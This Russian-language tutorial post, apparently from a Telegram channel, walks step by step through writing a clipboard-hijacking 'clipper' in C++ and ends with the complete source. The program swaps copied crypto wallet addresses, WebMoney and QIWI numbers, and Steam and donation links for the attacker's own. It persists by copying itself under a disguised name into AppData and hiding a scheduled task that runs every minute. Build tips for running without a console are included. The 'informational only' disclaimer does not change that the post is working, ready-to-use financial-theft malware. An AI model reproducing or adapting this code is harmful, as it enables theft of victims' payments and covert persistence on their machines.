Клиппер на С++
Телеграм канал: https://t.me/CodingCommunity
Весь материал исключительно в ознакомительных целях.
Хотелось бы начать с того - почему я вообще сел писать клиппер на плюсах. У меня пригорело с одного поста который скинули в один чат:
И тут у меня пригорело, за это ЧУДО 1500... Я - не зная С++, имея гугл смог написать такой же за одну ночь. Почему не C#? Потому что на просторах интернета уже есть клиппер на C#, не хотелось повторять за кем то.
Ну как обычно - тут море ужасного кода, никого не призываю повторять за мной. Так что извините. Начинать мы будем с Инклюдов (#include), грубо говоря это как библиотеки в Python, #include нам говорит что надо подключить сторонний файл.
#include <iostream> #include "windows.h" #include "string.h" #include <direct.h> #include <shlobj.h> #include "Shlwapi.h" #include <sys/stat.h> #include <Shellapi.h>
С этим разобрались. Ах, да, чуть не забыл, вам не обязательно качать Visual Studio для компиляции, можете поставить IDE Dev C++ и компилятор GCC, но тогда размер выходного файла у вас будет ~1.8 MB.
Далее давайте сразу объявим наши константы которые будут отвечать за ваши кошельки.
const char* QIWI = "+77005553535"; const char* WMR = "P123456789101"; const char* WMZ = "Z123456789101"; const char* WMX = "X123456789101"; const char* WMU = "U123456789101"; const char* BTC = "34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo"; const char* ETH = "0xc137a2e0d5176009c7ce88b9611b28a123c3881b"; const char* STEAM = "https://steamcommunity.com/tradeoffer/new/?partner=123123&token=qweqwe"; const char* DonAlerts = "https://www.donationalerts.com/r/qwe123"; const char* QiwiMe = "https://qiwi.me/qwe123"; const char* YandexDisk = "https://yadi.sk/d/qwe123";
Тут думаю и так понятно что в кавычки надо вставить ваши кошельки, задерживаться не будем, впереди куча всего интересного.
Далее будет просто огромная функция Main.
int main(){ copy_me(); while (true){ if( OpenClipboard(NULL)) { std::string data = (char*)GetClipboardData(CF_TEXT); if (data.find("+7") == 0){ const size_t len = strlen(QIWI) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), QIWI, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("P") == 0 && data.length() == 13){ const size_t len = strlen(WMR) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMR, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("Z") == 0 && data.length() == 13){ const size_t len = strlen(WMZ) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMZ, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("U") == 0 && data.length() == 13){ const size_t len = strlen(WMU) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMU, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("X") == 0 && data.length() == 13){ const size_t len = strlen(WMX) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMX, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.length() == 34){ const size_t len = strlen(BTC) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), BTC, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("0x") == 0 && data.length() == 42){ const size_t len = strlen(ETH) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), ETH, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://steamcommunity.com/tradeoffer/new/?partner=") == 0){ const size_t len = strlen(STEAM) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), STEAM, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://www.donationalerts.com/r/") == 0){ const size_t len = strlen(DonAlerts) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), DonAlerts, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://qiwi.me/") == 0){ const size_t len = strlen(QiwiMe) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), QiwiMe, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://yadi.sk/d/") == 0){ const size_t len = strlen(YandexDisk) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), YandexDisk, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } CloseClipboard(); } Sleep(500); } return 0; }
Вначале видно что мы вызываем другую функцию, но об этом чуть позже, Сначала мы запускаем бесконечный цикл который будет открывать буфер обмена каждые 0.5 секунд и проверять в нём текст, если он находит совпадения - он заменяет его. А теперь давайте займемся самым непонятным, разберём хотя бы один блок else if.
Да и кст, думаю что вам понятен принцип, так что вы сможете добавить свои кошельки которые вам нужны. Не вижу смысла расписывать, ведь вы у меня умные.
else if (data.find("P") == 0 && data.length() == 13){ const size_t len = strlen(WMR) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMR, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem);
Для начала мы проверяем, начинается ли строка в буфере обмена с символ "P", а так же необходимо что бы длинна строки была 13 символов, именно столько у кошельков WMR. Далее мы создаём переменную с длинной нашей строки и прибавляем единицу для символа /0. (Да, я тоже не особо понял зачем он там, но он там нужен, поверьте). Далее мы выделяем необходимое место в памяти, затем разблокируем её и добавляем в буфер обмена нашу константу с нашим WMR кошельком. Остальные else if как бы похожи, думаю принцип понятен.
Перейдем к функции copy_me()
void copy_me(){ char* appdata = getenv("APPDATA"); char* folder = "\\WinServer"; char* rdy_folder = strcat(appdata, folder); if (!IsPathExist(rdy_folder)){ mkdir(rdy_folder); } TCHAR szEXEPath[ 2048 ]; DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 ); char* file_name = "\\Win1337.exe"; char* rdy_ext = strcat(rdy_folder, file_name); CopyFile(szEXEPath, rdy_ext, true); std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " ); std::string stw( rdy_folder ); std::string stw2( " /f" ); std::string rdy = st + stw + stw2; const char* teeeeeee = rdy.c_str(); ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);
Ну что же, начнём с самого начала.
char* appdata = getenv("APPDATA"); char* folder = "\\WinServer";
Тут мы узнаем путь до папки AppData в которую в будущем будет помещена другая папки под названием WinServer, в неё мы будем закидывать копию нашей программы что бы та запускалась, но об этом чуть позже.
char* rdy_folder = strcat(appdata, folder); if (!IsPathExist(rdy_folder)){ mkdir(rdy_folder); }
Тут в первой строке мы соединяем нашу AppDat'у и нашу папку, попутно занося это в переменную rdy_folder, Далее мы вызываем функцию IsPathExist() которая на вход принимает путь до папки. И возвращает True или False в зависимости от результата.
bool IsPathExist(const std::string &s) { struct stat buffer; return (stat (s.c_str(), &buffer) == 0); }
Возвращает True если папка существует.
Но т.к. в первый наш запуск нам возвращается False то мы создаём папку.
if (!IsPathExist(rdy_folder)){ mkdir(rdy_folder); }
Далее нам необходимо получить путь до нашего файла который запустил пользователь что бы в дальнейшем его скопировать.
TCHAR szEXEPath[ 2048 ]; DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );
2048 это размер пути, он может быть 35 или 36к символов, но думаю нам хватит 2к.
Далее нам необходимо скопировать наш файл в ту самую папку в AppData:
char* file_name = "\\Win1337.exe"; char* rdy_ext = strcat(rdy_folder, file_name); CopyFile(szEXEPath, rdy_ext, true);
Тут мы складываем пути до нашей папки в AppData и добавляем к нему наш файл. Затем используя функцию CopyFile просто копируем.
Далее нам необходимо создать службу которая будет запускать файл из нашей папки AppData каждую минуту.
std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " ); std::string stw( rdy_folder ); std::string stw2( " /f" ); std::string rdy = st + stw + stw2; const char* teeeeeee = rdy.c_str(); ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);
Сначала мы создаём строку с запросом, в ней пишем название службы и запуск службы каждую минуту.
Затем нам нужна наша папка, заносим её в отдельную переменную, затем заносим /f который должен быть в конце. Далее мы складываем 3 строки и переводим из string в char что бы ShellExecute это смог исполнить.
Так же немаловажный атрибут SW_HIDE который не позволяет нашей консоли открыться и делает её невидимой.
Можно было бы конечно скрыть папку в AppData но мы ведь тут с вами только ради ознакомления.
Чуть не забыл самое главное, при компиляции укажите флаг -mwindows что бы софт запускался без консоли.
Далее как обычно будет полный листинг программы:
#include <iostream> #include "windows.h" #include "string.h" #include <direct.h> #include <shlobj.h> #include "Shlwapi.h" #include <sys/stat.h> #include <Shellapi.h> const char* QIWI = "+77005553535"; const char* WMR = "P123456789101"; const char* WMZ = "Z123456789101"; const char* WMX = "X123456789101"; const char* WMU = "U123456789101"; const char* BTC = "34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo"; const char* ETH = "0xc137a2e0d5176009c7ce88b9611b28a123c3881b"; const char* STEAM = "https://steamcommunity.com/tradeoffer/new/?partner=123123&token=qweqwe"; const char* DonAlerts = "https://www.donationalerts.com/r/qwe123"; const char* QiwiMe = "https://qiwi.me/qwe123"; const char* YandexDisk = "https://yadi.sk/d/qwe123"; // Проверяем есть ли такая папка bool IsPathExist(const std::string &s) { struct stat buffer; return (stat (s.c_str(), &buffer) == 0); } void copy_me(){ char* appdata = getenv("APPDATA"); char* folder = "\\WinServer"; char* rdy_folder = strcat(appdata, folder); if (!IsPathExist(rdy_folder)){ mkdir(rdy_folder); } // Получаем путь откуда запущен файл TCHAR szEXEPath[ 2048 ]; DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 ); // Копируем файл char* file_name = "\\Win1337.exe"; char* rdy_ext = strcat(rdy_folder, file_name); CopyFile(szEXEPath, rdy_ext, true);
// Создаём слжбу std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " ); std::string stw( rdy_folder ); std::string stw2( " /f" ); std::string rdy = st + stw + stw2; const char* teeeeeee = rdy.c_str(); ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE); } int main(){ copy_me(); while (true){ if( OpenClipboard(NULL)) { std::string data = (char*)GetClipboardData(CF_TEXT); if (data.find("+7") == 0){ const size_t len = strlen(QIWI) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), QIWI, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("P") == 0 && data.length() == 13){ const size_t len = strlen(WMR) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMR, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("Z") == 0 && data.length() == 13){ const size_t len = strlen(WMZ) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMZ, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("U") == 0 && data.length() == 13){ const size_t len = strlen(WMU) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMU, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("X") == 0 && data.length() == 13){ const size_t len = strlen(WMX) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), WMX, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.length() == 34){ const size_t len = strlen(BTC) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), BTC, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("0x") == 0 && data.length() == 42){ const size_t len = strlen(ETH) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), ETH, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://steamcommunity.com/tradeoffer/new/?partner=") == 0){ const size_t len = strlen(STEAM) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), STEAM, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://www.donationalerts.com/r/") == 0){ const size_t len = strlen(DonAlerts) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), DonAlerts, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://qiwi.me/") == 0){ const size_t len = strlen(QiwiMe) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), QiwiMe, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } else if (data.find("https://yadi.sk/d/") == 0){ const size_t len = strlen(YandexDisk) + 1; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), YandexDisk, len); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(CF_TEXT,hMem); } CloseClipboard(); } Sleep(500); } return 0; }
Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.